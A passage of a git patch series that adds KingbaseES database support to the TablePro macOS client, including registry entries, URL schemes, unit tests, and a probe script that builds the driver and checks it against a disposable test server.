- + trinoPluginDefaults()
+ + trinoPluginDefaults() + kingbaseESPluginDefaults()
}
// swiftlint:enable function_body_length
}
diff --git a/apple/TablePro/Core/ServerDashboard/Providers/OracleDashboardProvider.swift b/apple/TablePro/Core/ServerDashboard/Providers/OracleDashboardProvider.swift
index ae9c3c5f95..c9f4e8b8dd 100644
--- a/apple/TablePro/Core/ServerDashboard/Providers/OracleDashboardProvider.swift
+++ b/apple/TablePro/Core/ServerDashboard/Providers/OracleDashboardProvider.swift
@@ -90,7 +90,10 @@ struct OracleDashboardProvider: ServerDashboardQueryProvider {
var metrics: [DashboardMetric] = []
var firstFailure: Error?
- func attempt(_ id: String, _ body: () async throws -> Void) async throws {
+ nonisolated(nonsending) func attempt(
+ _ id: String,
+ _ body: nonisolated(nonsending) () async throws -> Void
+ ) async throws {
do {
try await body()
} catch is CancellationError {
diff --git a/apple/TablePro/Core/Services/CellValues/CellExpressionVocabulary.swift b/apple/TablePro/Core/Services/CellValues/CellExpressionVocabulary.swift
index 998e44d9f0..fc83b10af9 100644
--- a/apple/TablePro/Core/Services/CellValues/CellExpressionVocabulary.swift
+++ b/apple/TablePro/Core/Services/CellValues/CellExpressionVocabulary.swift
@@ -4,6 +4,7 @@
//
import Foundation
+import TableProPluginKit
enum CellExpressionKind: Hashable, Sendable {
case timestamp
@@ -77,7 +78,7 @@ enum CellExpressionVocabulary {
case .bigQuery: bigQuery
case .snowflake: snowflake
case .trino, .presto: trino
- default: []
+ default: SqlDialect.from(databaseTypeId: databaseType.rawValue) == .postgres ? postgreSQL : []
}
}
diff --git a/apple/TablePro/Core/Utilities/SQL/SQLRowToStatementConverter.swift b/apple/TablePro/Core/Utilities/SQL/SQLRowToStatementConverter.swift
index a60c1dcb85..15882e758d 100644
--- a/apple/TablePro/Core/Utilities/SQL/SQLRowToStatementConverter.swift
+++ b/apple/TablePro/Core/Utilities/SQL/SQLRowToStatementConverter.swift
@@ -232,9 +232,10 @@ internal struct SQLRowToStatementConverter {
for byte in data {
hex += String(format: "%02X", byte)
}
- switch databaseType {
- case .postgresql, .redshift, .cockroachdb:
+ if SqlDialect.from(databaseTypeId: databaseType.rawValue) == .postgres {
return "'\\x\(hex)'::bytea"
+ }
+ switch databaseType {
case .mssql:
return "0x\(hex)"
default:
diff --git a/apple/TablePro/Models/Connection/DatabaseType.swift b/apple/TablePro/Models/Connection/DatabaseType.swift
index 54359866a6..bce99781a3 100644
--- a/apple/TablePro/Models/Connection/DatabaseType.swift
+++ b/apple/TablePro/Models/Connection/DatabaseType.swift
@@ -26,6 +26,7 @@ extension DatabaseType {
static let pglite = DatabaseType(rawValue: "PGlite")
// Registry-distributed types (known plugins, downloadable separately)
+ static let kingbasees = DatabaseType(rawValue: "KingbaseES")
static let mongodb = DatabaseType(rawValue: "MongoDB")
static let redis = DatabaseType(rawValue: "Redis")
static let mssql = DatabaseType(rawValue: "SQL Server")
diff --git a/apple/TablePro/Resources/Localizable.xcstrings b/apple/TablePro/Resources/Localizable.xcstrings
index adfb8a9735..c1bf65c8b4 100644
--- a/apple/TablePro/Resources/Localizable.xcstrings
+++ b/apple/TablePro/Resources/Localizable.xcstrings
@@ -1,6 +1,10 @@
{
"sourceLanguage" : "en",
"strings" : {
+ "This KingbaseES compatibility mode is not supported. Use PostgreSQL or Oracle mode." : {
+ "extractionState" : "manual",
+ "generatesSymbol" : false
+ },
"" : {
"localizations" : {
"ko" : {
diff --git a/apple/TablePro/ViewModels/AIChatViewModel+Persistence.swift b/apple/TablePro/ViewModels/AIChatViewModel+Persistence.swift
index 108e8c9e2e..92b6b47d6a 100644
--- a/apple/TablePro/ViewModels/AIChatViewModel+Persistence.swift
+++ b/apple/TablePro/ViewModels/AIChatViewModel+Persistence.swift
@@ -20,7 +20,7 @@ extension AIChatViewModel {
let wanted = pendingConversationToRestore
Task.detached(priority: .utility) { [weak self] in
let loaded = await storage.loadAll(connectionId: connectionId)
- await MainActor.run {
+ await MainActor.run { [weak self] in
guard let self else { return }
self.conversations = loaded
guard self.messages.isEmpty else { return }
diff --git a/apple/TablePro/Views/Results/TreeOutline/TreeOutlineView.swift b/apple/TablePro/Views/Results/TreeOutline/TreeOutlineView.swift
index 8cfa367965..bff6993a6a 100644
--- a/apple/TablePro/Views/Results/TreeOutline/TreeOutlineView.swift
+++ b/apple/TablePro/Views/Results/TreeOutline/TreeOutlineView.swift
@@ -43,8 +43,10 @@ internal final class TreeOutlineView: SidebarOutlineView {
override internal func viewDidMoveToWindow() {
super.viewDidMoveToWindow()
responderObservation = window?.observe(\.firstResponder, options: [.new]) { [weak self] _, _ in
- MainActor.assumeIsolated { self?.reapplyRowEmphasis() }
- Task { @MainActor [weak self] in self?.reapplyRowEmphasis() }
+ MainActor.assumeIsolated { [weak self] in
+ self?.reapplyRowEmphasis()
+ Task { @MainActor [weak self] in self?.reapplyRowEmphasis() }
+ }
}
}
diff --git a/apple/TableProTests/Core/Compare/CompareSQLLiteralTests.swift b/apple/TableProTests/Core/Compare/CompareSQLLiteralTests.swift
index 3df470a03e..49c4676102 100644
--- a/apple/TableProTests/Core/Compare/CompareSQLLiteralTests.swift
+++ b/apple/TableProTests/Core/Compare/CompareSQLLiteralTests.swift
@@ -48,7 +48,7 @@ struct CompareSQLLiteralTests {
@Test
func postgresFamilyUsesAByteaCast() throws {
- for type in [DatabaseType.postgresql, .cockroachdb, .redshift, .pglite] {
+ for type in [DatabaseType.postgresql, .cockroachdb, .redshift, .pglite, .kingbasees] {
let literal = try #require(CompareSQLLiteral.binaryLiteral(for: png, databaseType: type))
#expect(literal == "'\\x89504e47'::bytea", "\(type.rawValue) uses a bytea literal")
}
diff --git a/apple/TableProTests/Core/Plugins/ImportTypeMapperTests.swift b/apple/TableProTests/Core/Plugins/ImportTypeMapperTests.swift
index a07120e9b3..5e78070475 100644
--- a/apple/TableProTests/Core/Plugins/ImportTypeMapperTests.swift
+++ b/apple/TableProTests/Core/Plugins/ImportTypeMapperTests.swift
@@ -93,4 +93,10 @@ struct ImportTypeMapperTests {
#expect(ImportTypeMapper.sqlType(for: .integer, databaseType: .clickhouse) == "INTEGER")
#expect(ImportTypeMapper.sqlType(for: .boolean, databaseType: .clickhouse) == "BOOLEAN")
}
+ @Test("KingbaseES imports keep 64-bit integers and native JSON")
+ func kingbaseImportTypes() {
+ #expect(ImportTypeMapper.sqlType(for: .integer, databaseType: .kingbasees) == "BIGINT")
+ #expect(ImportTypeMapper.sqlType(for: .json, databaseType: .kingbasees, serverVersion: "12.1") == "JSONB")
+ #expect(ImportTypeMapper.sqlType(for: .boolean, databaseType: .kingbasees) == "BOOLEAN")
+ }
}
diff --git a/apple/TableProTests/Core/Plugins/PluginMetadataRegistryKingbaseESTests.swift b/apple/TableProTests/Core/Plugins/PluginMetadataRegistryKingbaseESTests.swift
new file mode 100644
index 0000000000..a0ea754c9d
--- /dev/null
+++ b/apple/TableProTests/Core/Plugins/PluginMetadataRegistryKingbaseESTests.swift
@@ -0,0 +1,23 @@
+import Foundation
+@testable import TablePro
+import TableProPluginKit
+import Testing
+
+@MainActor
+struct PluginMetadataRegistryKingbaseESTests {
+ @Test("KingbaseES is offered before installation and resolves to its own registry plugin")
+ func registryIdentity() throws {
+ let registry = PluginMetadataRegistry.shared
+ #expect(registry.allRegisteredTypeIds().contains("KingbaseES"))
+ #expect(registry.pluginTypeId(for: "KingbaseES") == "KingbaseES")
+ #expect(DatabaseType.kingbasees.isDownloadablePlugin)
+ let snapshot = try #require(registry.snapshot(forRegisteredTypeId: "KingbaseES"))
+ #expect(snapshot.displayName == "KingbaseES")
+ #expect(snapshot.defaultPort == 54_321)
+ #expect(snapshot.urlSchemes == ["kingbase", "kingbase8"])
+ #expect(snapshot.parameterStyle == .dollar)
+ #expect(snapshot.schema.systemSchemaNames.contains("sys_catalog"))
+ #expect(snapshot.capabilities.supportsSchemaSwitching)
+ #expect(snapshot.connection.additionalConnectionFields.map(\.id) == ["usePgpass", "connectionOptions"])
+ }
+}
diff --git a/apple/TableProTests/Core/Plugins/PluginMetadataRegistryTypeCountTests.swift b/apple/TableProTests/Core/Plugins/PluginMetadataRegistryTypeCountTests.swift
index dcbe133766..ab35bb55f5 100644
--- a/apple/TableProTests/Core/Plugins/PluginMetadataRegistryTypeCountTests.swift
+++ b/apple/TableProTests/Core/Plugins/PluginMetadataRegistryTypeCountTests.swift
@@ -7,7 +7,7 @@ import Testing
struct PluginMetadataRegistryTypeCountTests {
private static let expectedTypeIds: Set = [
"Beancount", "BigQuery", "Cassandra", "ClickHouse", "Cloudflare D1", "Cloudflare R2 SQL",
- "CockroachDB", "Dameng", "Databend", "DuckDB", "DynamoDB", "Elasticsearch", "etcd", "Kafka",
+ "KingbaseES", "CockroachDB", "Dameng", "Databend", "DuckDB", "DynamoDB", "Elasticsearch", "etcd", "Kafka",
"libSQL", "MariaDB", "MongoDB", "MySQL", "Oracle", "PGlite", "PostgreSQL", "Redis", "Redshift",
"SAP HANA", "ScyllaDB", "Snowflake", "Spanner", "SQL Server", "SQLite", "SurrealDB", "Teradata", "TiDB",
"Trino", "Presto", "Turso", "Typesense", "Weaviate", "OceanBase", "Firestore", "Firebase Realtime Database", "Bigtable"
diff --git a/apple/TableProTests/Core/Services/CellValues/CellExpressionVocabularyTests.swift b/apple/TableProTests/Core/Services/CellValues/CellExpressionVocabularyTests.swift
index e17903608b..1fcce57971 100644
--- a/apple/TableProTests/Core/Services/CellValues/CellExpressionVocabularyTests.swift
+++ b/apple/TableProTests/Core/Services/CellValues/CellExpressionVocabularyTests.swift
@@ -141,4 +141,10 @@ struct CellExpressionVocabularyTests {
func updateTakesDefault(databaseType: DatabaseType, expected: Bool) {
#expect(CellExpressionVocabulary.updateTakesDefault(databaseType) == expected)
}
+ @Test("KingbaseES offers the expressions of its PostgreSQL dialect")
+ func kingbaseExpressions() {
+ #expect(Self.sql(.kingbasees, .timestamp(rawType: "TIMESTAMP"))
+ == Self.sql(.postgresql, .timestamp(rawType: "TIMESTAMP")))
+ #expect(CellExpressionVocabulary.isCanonical("now()", for: .kingbasees))
+ }
}
diff --git a/apple/TableProTests/Core/Utilities/SQLRowToStatementConverterTests.swift b/apple/TableProTests/Core/Utilities/SQLRowToStatementConverterTests.swift
index e2556d9288..cd228d6da4 100644
--- a/apple/TableProTests/Core/Utilities/SQLRowToStatementConverterTests.swift
+++ b/apple/TableProTests/Core/Utilities/SQLRowToStatementConverterTests.swift
@@ -633,4 +633,18 @@ struct SQLRowToStatementConverterTests {
)
#expect(converter.generateUpdates(rows: plain([["a", "x"]])) == "UPDATE [Enterprise_App_Approved] SET [Shape] = N'x' WHERE [code] = N'a';")
}
+ @Test("KingbaseES copies binary INSERT and UPDATE values as bytea, including empty bytes")
+ func kingbaseBinaryStatements() throws {
+ let converter = try makeConverter(
+ tableName: "documents", columns: ["id", "payload"],
+ databaseType: .kingbasees, dialect: Self.postgresDialect
+ )
+ for data in [Data(), Data([0x00, 0xFF])] {
+ let rows = plain([[.text("1"), .bytes(data)]])
+ let hex = data.map { String(format: "%02X", $0) }.joined()
+ #expect(converter.generateInserts(rows: rows).contains("'\\x\(hex)'::bytea"))
+ #expect(converter.generateUpdates(rows: rows).contains("'\\x\(hex)'::bytea"))
+ }
+ }
+
}
diff --git a/apple/project.yml b/apple/project.yml
index 3e4a737bbe..df769c7e51 100644
--- a/apple/project.yml
+++ b/apple/project.yml
@@ -1065,6 +1065,17 @@ targets:
- package: swift-nio-ssl
product: NIOSSL
+ KingbaseESDriverPlugin:
+ templates: [DriverPlugin, PostgreSQLLinkage]
+ templateAttributes:
+ folder: KingbaseESDriverPlugin
+ principalClass: KingbaseESPlugin
+ sources:
+ - path: Plugins/PostgreSQLDriverPlugin
+ excludes:
+ - Info.plist
+ - README.md
+
LibSQLDriverPlugin:
templates: [DriverPlugin]
templateAttributes:
@@ -1285,6 +1296,7 @@ aggregateTargets:
- FirebaseDriverPlugin
- HanaDriver
- KafkaDriverPlugin
+ - KingbaseESDriverPlugin
- LibSQLDriverPlugin
- MSSQLDriver
- MongoDBDriver
diff --git a/apple/scripts/probes/check-column-type-corpus.sh b/apple/scripts/probes/check-column-type-corpus.sh
index 7f7eff47b7..52c5d4f82e 100755
--- a/apple/scripts/probes/check-column-type-corpus.sh
+++ b/apple/scripts/probes/check-column-type-corpus.sh
@@ -64,8 +64,8 @@ READY=()
case "$ENGINE" in
postgresql)
FOLDER=PostgreSQLDriverPlugin CLASS=PostgreSQLPlugin C_MODULE=CLibPQ
- PRODUCTS="TableProLogRedaction TableProPostgreSQLCore"
- LINK="$ROOT/Libs/libpq.a $ROOT/Libs/libpgcommon.a $ROOT/Libs/libpgport.a -lssl.3 -lcrypto.3 -lz"
+ PRODUCTS="TableProCoreTypes TableProKerberos TableProLogRedaction TableProPostgreSQLCore TableProSQLVocabulary"
+ LINK="$ROOT/Libs/libpq.a $ROOT/Libs/libpgcommon.a $ROOT/Libs/libpgport.a -lssl.3 -lcrypto.3 -lz -framework GSS -lcom_err"
IMAGE=postgres:17-alpine PORT_IN=5432 PORT=15467 USER_DEFAULT=postgres DATABASE_DEFAULT=postgres
DOCKER_ENV=(-e "POSTGRES_PASSWORD=$PASSWORD_DEFAULT")
READY=(pg_isready -h 127.0.0.1 -U postgres)
diff --git a/apple/scripts/probes/check-kingbasees.sh b/apple/scripts/probes/check-kingbasees.sh
new file mode 100755
index 0000000000..90be45414b
--- /dev/null
+++ b/apple/scripts/probes/check-kingbasees.sh
@@ -0,0 +1,57 @@
+#!/usr/bin/env bash
+# Build the actual registry driver and probe an existing, disposable KingbaseES server.
+# TP_KINGBASE_{HOST,PORT,USER,PASSWORD,DATABASE} select the server. No server is started.
+# TP_KINGBASE_BUILD_DIR preserves build artifacts; otherwise they are removed on exit.
+set -euo pipefail
+ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)"
+WORK="${TP_KINGBASE_BUILD_DIR:-}"
+if [ -z "$WORK" ]; then
+ WORK="$(mktemp -d)"
+ trap 'rm -rf "$WORK"' EXIT
+fi
+mkdir -p "$WORK/Sources/Probe"
+SOURCES="$WORK/Sources/Probe"
+rm -f "$SOURCES"/*.swift "$WORK/CModule"
+for folder in PostgreSQLDriverPlugin KingbaseESDriverPlugin; do
+ for source in "$ROOT/Plugins/$folder"/*.swift; do
+ ln -s "$source" "$SOURCES/${folder}_$(basename "$source")"
+ done
+done
+for shared in PluginConnectTimeout PluginQueryTimeout; do
+ ln -s "$ROOT/Plugins/Shared/$shared.swift" "$SOURCES/$shared.swift"
+done
+ln -s "$ROOT/scripts/probes/kingbasees-probe.swift" "$SOURCES/Probe.swift"
+ln -s "$ROOT/Plugins/PostgreSQLDriverPlugin/CLibPQ" "$WORK/CModule"
+cat > "$WORK/Package.swift" < "$WORK/build.log" 2>&1); then
+ tail -60 "$WORK/build.log" >&2
+ exit 3
+fi
+TZ=UTC "$WORK/.build/debug/Probe"
diff --git a/apple/scripts/probes/kingbasees-probe.swift b/apple/scripts/probes/kingbasees-probe.swift
new file mode 100644
index 0000000000..9d21ce75e2
--- /dev/null
+++ b/apple/scripts/probes/kingbasees-probe.swift
@@ -0,0 +1,225 @@
+import Foundation
+import TableProCoreTypes
+import TableProModels
+import TableProPluginKit
+import TableProQuery
+import TableProSQLGrammar
+
+@main
+struct KingbaseESProbe {
+ var passed = 0
+ var failed = 0
+
+ mutating func check(_ name: String, _ body: () async throws -> Bool) async {
+ do {
+ guard try await body() else {
+ failed += 1
+ print("FAIL \(name): unexpected result")
+ return
+ }
+ passed += 1
+ print("PASS \(name)")
+ } catch {
+ failed += 1
+ print("FAIL \(name): \(error)")
+ }
+ }
+
+ static func main() async {
+ var probe = Self()
+ await probe.run()
+ print("\(probe.passed) passed, \(probe.failed) failed")
+ exit(probe.failed == 0 ? 0 : 1)
+ }
+
+ static func generatedFiltersMatch(driver: any PluginDatabaseDriver, table: String) async throws -> Bool {
+ guard let dialect = KingbaseESPlugin.sqlDialect else { return false }
+ let generator = FilterSQLGenerator(
+ dialect: dialect, databaseType: DatabaseType(rawValue: "KingbaseES")
+ )
+ let columns = [
+ ColumnInfo(name: "flag", typeName: "bool"),
+ ColumnInfo(name: "amount", typeName: "numeric(12,2)")
+ ]
+ let clause = generator.generateWhereClause(
+ from: [
+ TableFilter(columnName: "flag", value: "1"),
+ TableFilter(columnName: "amount", value: "1234.50")
+ ], logicMode: .and, columns: columns
+ )
+ print("Generated filter: \(clause)")
+ guard clause == "WHERE \"flag\" = '1' AND \"amount\" = '1234.50'" else { return false }
+ return try await driver.execute(query: "SELECT id FROM \(table) \(clause)").rows == [[.text("1")]]
+ }
+
+ static func bigintMatches(driver: any PluginDatabaseDriver) async throws -> Bool {
+ let result = try await driver.executeUserQuery(
+ query: "SELECT $1::bigint AS imported_integer", rowCap: nil,
+ parameters: [.text("2147483648")]
+ )
+ return result.rows == [[.text("2147483648")]]
+ }
+
+ mutating func run() async {
+ let env = ProcessInfo.processInfo.environment
+ let database = env["TP_KINGBASE_DATABASE"] ?? "test"
+ let config = DriverConnectionConfig(
+ host: env["TP_KINGBASE_HOST"] ?? "127.0.0.1",
+ port: Int(env["TP_KINGBASE_PORT"] ?? "55432") ?? 55_432,
+ username: env["TP_KINGBASE_USER"] ?? "system",
+ password: env["TP_KINGBASE_PASSWORD"] ?? "", database: database
+ )
+ let driver: any PluginDatabaseDriver = KingbaseESPlugin().createDriver(config: config)
+ defer { driver.disconnect() }
+ do { try await driver.connect() } catch {
+ failed += 1
+ print("FAIL connect: \(error)")
+ return
+ }
+ let mode = try? await driver.execute(query: "SELECT current_setting('database_mode')").rows.first?.first?.asText
+ await check("session facts through protocol witness") {
+ let result = try await driver.execute(query: "SELECT current_setting('database_mode')")
+ let mode = result.rows.first?.first?.asText
+ print("KingbaseES mode=\(mode ?? "unknown"), version=\(driver.serverVersion ?? "unknown")")
+ guard let facts = driver.sessionLexicalState else { return false }
+ return facts.determined.contains(.alternativeQuoting)
+ && facts.enabled.contains(.alternativeQuoting) == (mode == "oracle")
+ }
+ await check("mode-aware grammar splits and executes quoted semicolons") {
+ guard let facts = driver.sessionLexicalState else { return false }
+ let readings = SQLLexicalReadings.resolve(
+ databaseTypeId: "KingbaseES", declared: nil,
+ session: SQLSessionLexicalFacts(
+ determined: SQLLexicalGrammar(rawValue: facts.determined.rawValue),
+ enabled: SQLLexicalGrammar(rawValue: facts.enabled.rawValue)
+ )
+ )
+ let sql = mode == "oracle"
+ ? "SELECT q'[a;b]' AS value; SELECT $tag$c;d$tag$ AS value;"
+ : "SELECT $tag$a;b$tag$ AS value; SELECT $tag$c;d$tag$ AS value;"
+ let statements = SQLStatementScanner.executableStatements(in: sql, grammar: readings.execution)
+ guard statements.count == 2 else { return false }
+ for (index, statement) in statements.enumerated() {
+ let result = try await driver.execute(query: statement.sql)
+ guard result.rows.first?.first == .text(index == 0 ? "a;b" : "c;d") else { return false }
+ }
+ return true
+ }
+ await check("database catalog") { try await driver.fetchDatabases().contains(database) }
+ let schema = "tp_probe_" + UUID().uuidString.replacingOccurrences(of: "-", with: "").lowercased()
+ let table = "\(schema).sample"
+ do {
+ try await driver.beginTransaction()
+ _ = try await driver.execute(query: "CREATE SCHEMA \(schema)")
+ _ = try await driver.execute(query: "CREATE TYPE \(schema).mood AS ENUM ('ok', 'bad')")
+ _ = try await driver.execute(query: "CREATE TABLE \(schema).parent (id integer PRIMARY KEY)")
+ _ = try await driver.execute(query: "CREATE TABLE \(table) (id integer PRIMARY KEY, parent_id integer REFERENCES \(schema).parent(id), flag boolean, payload bytea, title text COLLATE \"C\", amount numeric(12,2), missing text, doubled integer GENERATED ALWAYS AS (id * 2) STORED)")
+ _ = try await driver.execute(query: "CREATE INDEX sample_title_idx ON \(table)(title)")
+ _ = try await driver.execute(query: "CREATE FUNCTION \(schema).answer() RETURNS integer LANGUAGE SQL AS 'SELECT 42'")
+ await check("schema catalog") { try await driver.fetchSchemas().contains(schema) }
+ await check("table catalog") { try await driver.fetchTables(schema: schema).contains { $0.name == "sample" } }
+ await check("column catalog and generated column") {
+ let columns = try await driver.fetchColumns(table: "sample", schema: schema)
+ return columns.count == 8 && columns.contains { $0.name == "doubled" && $0.isGenerated }
+ }
+ await check("index catalog") { try await driver.fetchIndexes(table: "sample", schema: schema).count >= 2 }
+ await check("foreign key catalog") { try await driver.fetchForeignKeys(table: "sample", schema: schema).count == 1 }
+ await check("routine catalog and DDL") {
+ let routines = try await driver.fetchRoutines(schema: schema)
+ guard let routine = routines.first(where: { $0.name == "answer" }) else { return false }
+ return try await driver.fetchRoutineDDL(routine).contains("42")
+ }
+ await check("type catalog and definition") {
+ let types = try await driver.fetchUserDefinedTypes(schema: schema)
+ guard let mood = types.first(where: { $0.name == "mood" }) else { return false }
+ return try await driver.fetchUserDefinedType(mood).name == "mood"
+ }
+ await check("table DDL") {
+ let ddl = try await driver.fetchTableDDL(table: "sample", schema: schema)
+ print("Table DDL: \(ddl)")
+ guard ddl.contains("CREATE TABLE"), ddl.contains("GENERATED ALWAYS"),
+ ddl.contains("COLLATE ") else { return false }
+ let replay = ddl.replacingOccurrences(of: "\"sample\"", with: "\"replay\"")
+ _ = try await driver.execute(query: "SAVEPOINT ddl_replay")
+ do {
+ _ = try await driver.execute(query: replay)
+ let columns = try await driver.fetchColumns(table: "replay", schema: schema)
+ _ = try await driver.execute(query: "ROLLBACK TO SAVEPOINT ddl_replay")
+ return columns.count == 8 && columns.contains { $0.name == "doubled" && $0.isGenerated }
+ } catch {
+ _ = try await driver.execute(query: "ROLLBACK TO SAVEPOINT ddl_replay")
+ throw error
+ }
+ }
+ await check("parameterized insert and values") {
+ _ = try await driver.executeUserQuery(
+ query: "INSERT INTO \(table)(id,flag,payload,title,amount,missing) VALUES (1,$1::boolean,$2::bytea,$3,$4::numeric,$5)",
+ rowCap: nil, parameters: [.text("true"), .bytes(Data([0, 1, 255])), .text("Việt Nam 日本"), .text("1234.50"), .null]
+ )
+ let result = try await driver.execute(query: "SELECT flag,payload,title,amount,missing,doubled FROM \(table)")
+ return result.rows.first == [.text("true"), .bytes(Data([0, 1, 255])), .text("Việt Nam 日本"), .text("1234.50"), .null, .text("2")]
+ }
+ await check("generated boolean and numeric filters") {
+ try await Self.generatedFiltersMatch(driver: driver, table: table)
+ }
+ await check("parameterized bigint beyond Int32 range") {
+ try await Self.bigintMatches(driver: driver)
+ }
+ await check("parameterized update and empty bytea") {
+ _ = try await driver.executeUserQuery(query: "UPDATE \(table) SET payload=$1::bytea WHERE id=1", rowCap: nil, parameters: [.bytes(Data())])
+ let result = try await driver.execute(query: "SELECT payload, octet_length(payload) FROM \(table)")
+ return mode == "oracle" ? result.rows.first == [.null, .null]
+ : result.rows.first == [.bytes(Data()), .text("0")]
+ }
+ await check("savepoint rollback") {
+ _ = try await driver.execute(query: "SAVEPOINT probe_save")
+ _ = try await driver.execute(query: "DELETE FROM \(table)")
+ _ = try await driver.execute(query: "ROLLBACK TO SAVEPOINT probe_save")
+ return try await driver.execute(query: "SELECT count(*) FROM \(table)").rows.first?.first == .text("1")
+ }
+ await check("delete") {
+ _ = try await driver.execute(query: "DELETE FROM \(table)")
+ return try await driver.execute(query: "SELECT count(*) FROM \(table)").rows.first?.first == .text("0")
+ }
+ } catch {
+ failed += 1
+ print("FAIL fixture: \(error)")
+ }
+ await check("rollback removes all test objects") {
+ try await driver.rollbackTransaction()
+ return try await !driver.fetchSchemas().contains(schema)
+ }
+ await check("reconnect") {
+ driver.disconnect()
+ try await driver.connect()
+ try await driver.ping()
+ return true
+ }
+ await check("cancellation after server reports active query") {
+ let observer = KingbaseESPlugin().createDriver(config: config)
+ try await observer.connect()
+ defer { observer.disconnect() }
+ guard let pid = try await driver.execute(query: "SELECT pg_backend_pid()").rows.first?.first?.asText
+ else { return false }
+ let query = Task { try await driver.execute(query: "SELECT pg_sleep(30)") }
+ let deadline = ContinuousClock.now.advanced(by: .seconds(10))
+ var active = false
+ while ContinuousClock.now < deadline {
+ let result = try await observer.execute(query: "SELECT state, query FROM pg_stat_activity WHERE pid=\(pid)")
+ if let row = result.rows.first, row[0].asText == "active", row[1].asText?.contains("pg_sleep") == true {
+ active = true
+ break
+ }
+ await Task.yield()
+ }
+ try driver.cancelQuery()
+ do { _ = try await query.value; return false } catch {
+ print("Cancellation active=\(active), error=\(error), SQLSTATE=\((error as? any PluginDriverError)?.pluginSqlState ?? "none")")
+ guard active, error is CancellationError
+ || (error as? any PluginDriverError)?.pluginSqlState == "57014" else { return false }
+ try await driver.ping()
+ return true
+ }
+ }
+ }
+}
From c78fb37f1ed62734d5e55a1cb8518957aa69e745 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Nguye=CC=82=CC=83n=20Nam=20Long?=
<26674308+J2TeamNNL@users.noreply.github.com>
Date: Tue, 27 Oct 2026 09:35:04 +0700
Subject: [PATCH 2/6] docs(changelog): note KingbaseES connections
---
apple/changelog.d/3855.added.md | 1 +
1 file changed, 1 insertion(+)
create mode 100644 apple/changelog.d/3855.added.md
diff --git a/apple/changelog.d/3855.added.md b/apple/changelog.d/3855.added.md
new file mode 100644
index 0000000000..90382f2fdf
--- /dev/null
+++ b/apple/changelog.d/3855.added.md
@@ -0,0 +1 @@
+Connect to KingbaseES in PostgreSQL and Oracle compatibility modes with a downloadable driver.
From 453b011608473d145faf1f8dcb8ef04d1e02b37c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Nguye=CC=82=CC=83n=20Nam=20Long?=
<26674308+J2TeamNNL@users.noreply.github.com>
Date: Tue, 27 Oct 2026 09:45:06 +0700
Subject: [PATCH 3/6] fix(kingbasees): register connection URL handlers
---
...ginMetadataRegistry+RegistryDefaults.swift | 24 +++++++++++++------
apple/TablePro/Info.plist | 2 ++
...luginMetadataRegistryKingbaseESTests.swift | 10 ++++++++
3 files changed, 29 insertions(+), 7 deletions(-)
diff --git a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+RegistryDefaults.swift b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+RegistryDefaults.swift
index 32da9928ee..37bf1b024c 100644
--- a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+RegistryDefaults.swift
+++ b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+RegistryDefaults.swift
@@ -38,7 +38,7 @@ extension PluginMetadataRegistry {
etcdCompletions, redisCompletions, redisColumnTypes, d1Dialect, d1ColumnTypes
) = registryDefaultIngredients()
- return [
+ var defaults: [(typeId: String, snapshot: PluginMetadataSnapshot)] = [
("MongoDB", PluginMetadataSnapshot(
displayName: "MongoDB", iconName: "mongodb-icon", defaultPort: 27_017,
requiresAuthentication: false, supportsForeignKeys: false, supportsSchemaEditing: true,
@@ -1030,12 +1030,22 @@ extension PluginMetadataRegistry {
tagline: String(localized: "Distributed SQLite by Turso")
)
)),
- ] + tursoPluginDefaults(dialect: d1Dialect, columnTypes: d1ColumnTypes)
- + duckdbPluginDefaults(dialect: duckdbDialect, columnTypes: duckdbColumnTypes)
- + cloudPluginDefaults() + elasticsearchPluginDefaults() + surrealDBPluginDefaults()
- + kafkaPluginDefaults() + typesensePluginDefaults() + r2SQLPluginDefaults()
- + weaviatePluginDefaults() + hanaPluginDefaults() + firebasePluginDefaults() + bigtablePluginDefaults()
- + trinoPluginDefaults() + kingbaseESPluginDefaults()
+ ]
+ defaults += tursoPluginDefaults(dialect: d1Dialect, columnTypes: d1ColumnTypes)
+ defaults += duckdbPluginDefaults(dialect: duckdbDialect, columnTypes: duckdbColumnTypes)
+ defaults += cloudPluginDefaults()
+ defaults += elasticsearchPluginDefaults()
+ defaults += surrealDBPluginDefaults()
+ defaults += kafkaPluginDefaults()
+ defaults += typesensePluginDefaults()
+ defaults += r2SQLPluginDefaults()
+ defaults += weaviatePluginDefaults()
+ defaults += hanaPluginDefaults()
+ defaults += firebasePluginDefaults()
+ defaults += bigtablePluginDefaults()
+ defaults += trinoPluginDefaults()
+ defaults += kingbaseESPluginDefaults()
+ return defaults
}
// swiftlint:enable function_body_length
}
diff --git a/apple/TablePro/Info.plist b/apple/TablePro/Info.plist
index 9ac41c6a57..a6ec1fc9d6 100644
--- a/apple/TablePro/Info.plist
+++ b/apple/TablePro/Info.plist
@@ -581,6 +581,8 @@
postgresql
postgres
+ kingbase
+ kingbase8
mysql
mariadb
tidb
diff --git a/apple/TableProTests/Core/Plugins/PluginMetadataRegistryKingbaseESTests.swift b/apple/TableProTests/Core/Plugins/PluginMetadataRegistryKingbaseESTests.swift
index a0ea754c9d..ed59495781 100644
--- a/apple/TableProTests/Core/Plugins/PluginMetadataRegistryKingbaseESTests.swift
+++ b/apple/TableProTests/Core/Plugins/PluginMetadataRegistryKingbaseESTests.swift
@@ -20,4 +20,14 @@ struct PluginMetadataRegistryKingbaseESTests {
#expect(snapshot.capabilities.supportsSchemaSwitching)
#expect(snapshot.connection.additionalConnectionFields.map(\.id) == ["usePgpass", "connectionOptions"])
}
+ @Test("Both KingbaseES URL schemes keep credentials and route to the dedicated engine", arguments: ["kingbase", "kingbase8"])
+ func connectionURLs(scheme: String) throws {
+ let parsed = try ConnectionURLParser.parse("\(scheme)://system:pass@localhost:55432/test").get()
+ #expect(parsed.type == .kingbasees)
+ #expect(parsed.host == "localhost")
+ #expect(parsed.port == 55_432)
+ #expect(parsed.database == "test")
+ #expect(parsed.username == "system")
+ #expect(parsed.password == "pass")
+ }
}
From e8c55660b7e22ccdd5d3b884b66438f803e88324 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Nguye=CC=82=CC=83n=20Nam=20Long?=
<26674308+J2TeamNNL@users.noreply.github.com>
Date: Tue, 27 Oct 2026 10:46:11 +0700
